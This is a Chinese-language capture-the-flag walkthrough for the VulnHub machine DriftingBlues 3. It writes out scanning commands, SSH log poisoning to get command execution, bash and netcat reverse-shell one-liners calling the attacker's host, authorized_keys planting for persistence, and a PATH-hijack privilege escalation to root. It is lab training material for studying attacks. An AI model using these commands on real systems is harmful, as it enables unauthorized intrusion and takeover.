靶机地址: https://www.vulnhub.com/entry/driftingblues-3,656/
1、主机探活
arp-scan -I eth0 -l (指定网卡扫) 扫描局域网所有设备(所有设备IP、MAC地址、制造商信息)
masscan 192.168.111.0/24 -p 80,22 (masscan 扫描的网段 -p 扫描端口号)
netdiscover -i eth0 -r 192.168.184.0/24 (netdiscover -i 网卡-r 网段)
nmap -sn 192.168.111.0/24
2、端口扫描
nmap -A -sV -T4 -p- 192.168.111.12
得到如下信息:
22—ssh—OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) -->一般只能暴力破解
80—http—Apache httpd 2.4.38 ((Debian))
3、遇事不决扫目录
gobuster dir -u “http://192.168.111.12/” -w /root/tools/directory-list-2.3-medium.txt -x php,html,txt,zip
User-agent: *
Disallow: /eventadmins
继续访问它,出现
man there’s a problem with ssh
john said “it’s poisonous!!! stay away!!!”
idk if he’s mentally challenged
please find and fix it
also check /littlequeenofspades.html
your buddy, buddyG
又出现一个目录/littlequeenofspades.html
啥信息也没有,看看源代码,出现一串base64
aW50cnVkZXI/IEwyRmtiV2x1YzJacGVHbDBMbkJvY0E9PQ==
解码得到:intruder?L2FkbWluc2ZpeGl0LnBocA==
再次解码得到:/adminsfixit.php
访问看看
看到出现ssh auth log --> ssh身份验证日志,并且注意到登录用户名显示在日志中,也就是说如果我们使用ssh登陆时,将用户名写成一句话就可以写马进日志中
5、SSH 写入一句话后门 getshell
登录ssh,并在用户名处写马:
ssh ''@192.168.111.13
访问: http://192.168.111.13/adminsfixit.php?x=ls
ok,说明执行命令成功
6、反弹shell
kali开启监听:nc -lvnp 4444
http://192.168.111.13/adminsfixit.php?x=echo%20%22bash%20-i%20%3e%26%20%2fdev%2ftcp%2f192.168.111.7%2f4444%200%3e%261%22%20%7c%20bash
(此处为echo "bash -i >& /dev/tcp/192.168.111.7/4444 0>&1" | bash 的url编码)
或者也可以直接?x=nc -e /bin/bash 192.168.111.7 4444
7、进入/home目录发现用户robertj,ls -al查看发现存在.ssh文件夹,但里面没任何东西
查看ssh配置文件/etc/ssh/sshd_config,如下图PubkeyAuthentication选项参数值为yes,打开这个功能,表示ssh允许公钥登录,下面也给出了公钥文件的存放目录
并且此时我们看到.ssh文件夹有着wrx所有的权限,好家伙,所以我们可以把公钥文件放入这个文件夹,进行登录!
此时有两个方法可以操作,
一是直接在目标机生成一个公钥:ssh-keygen -t rsa
将生成的私钥保存到:/home/robertj/.ssh/id_rsa
将 SSH 公钥文件重命名为 authorized_keys ,用于 SSH 登陆认证:cat id_rsa.pub > authorized_keys
然后将私钥复制到本机
使用ssh登录:ssh [email protected] -i id_rsa
(如果无法登录可能是私钥权限太高,改为chmod 400 id_rsa即可)
二是直接用我们kali的密钥进行登录
将kali的公钥id_rsa.pub(位置在/root/.ssh)复制到目标机且改名为authorized_keys
然后直接用在kali登录目标即可:ssh [email protected]
在 shell 中寻找 suid 程序: find / -perm -u=s -type f 2>/dev/null
在 https://gtfobins.github.io 没有查到有啥可以利用的
另一个思路是用辅助提权脚本:linpeas.sh,这个脚本可以枚举linux操作系统几乎所有的可提权项,甚至可以通过su暴力破解本地密码。
发现一个不常见的程序 /usr/bin/getinfo
根据上面输出的结果,可以推测这个程序中执行了 ip addr, cat /etc/hosts, uname -a
所以思路来了:我们可以修改其中一个命令即可获得root权限
这里既然调用了系统命令,那么我们可以自行编写一个同名文件,比如说cat,因为我们猜测getinfo中使用了cat命令,如若我们可以添加环境变量,getinfo在调用命令时首先检索环境变量就会调用到我们伪造的cat,执行我们想要的命令,来达到提权的效果,即使用环境变量进行命令劫持提权
因此,在这种情况下,我们可以在环境变量 PATH 中提供一个目录 (/tmp),并创建一
个 ip 或者 cat 文件,用于劫持命令,执行我们自定义的二进制文件就可以提权:
export PATH=/tmp/:$PATH //把/tmp路径加入到系统路径中。
cd /tmp
echo '/bin/bash' > ip //把/bin/bash写入到ip中。
chmod +x ip //增加执行权限
/usr/bin/getinfo
参考:https://cn-sec.com/archives/299971.html
https://cn-sec.com/archives/692023.html
https://www.freebuf.com/articles/web/324586.html
https://blog.csdn.net/m0_60936698/article/details/123443765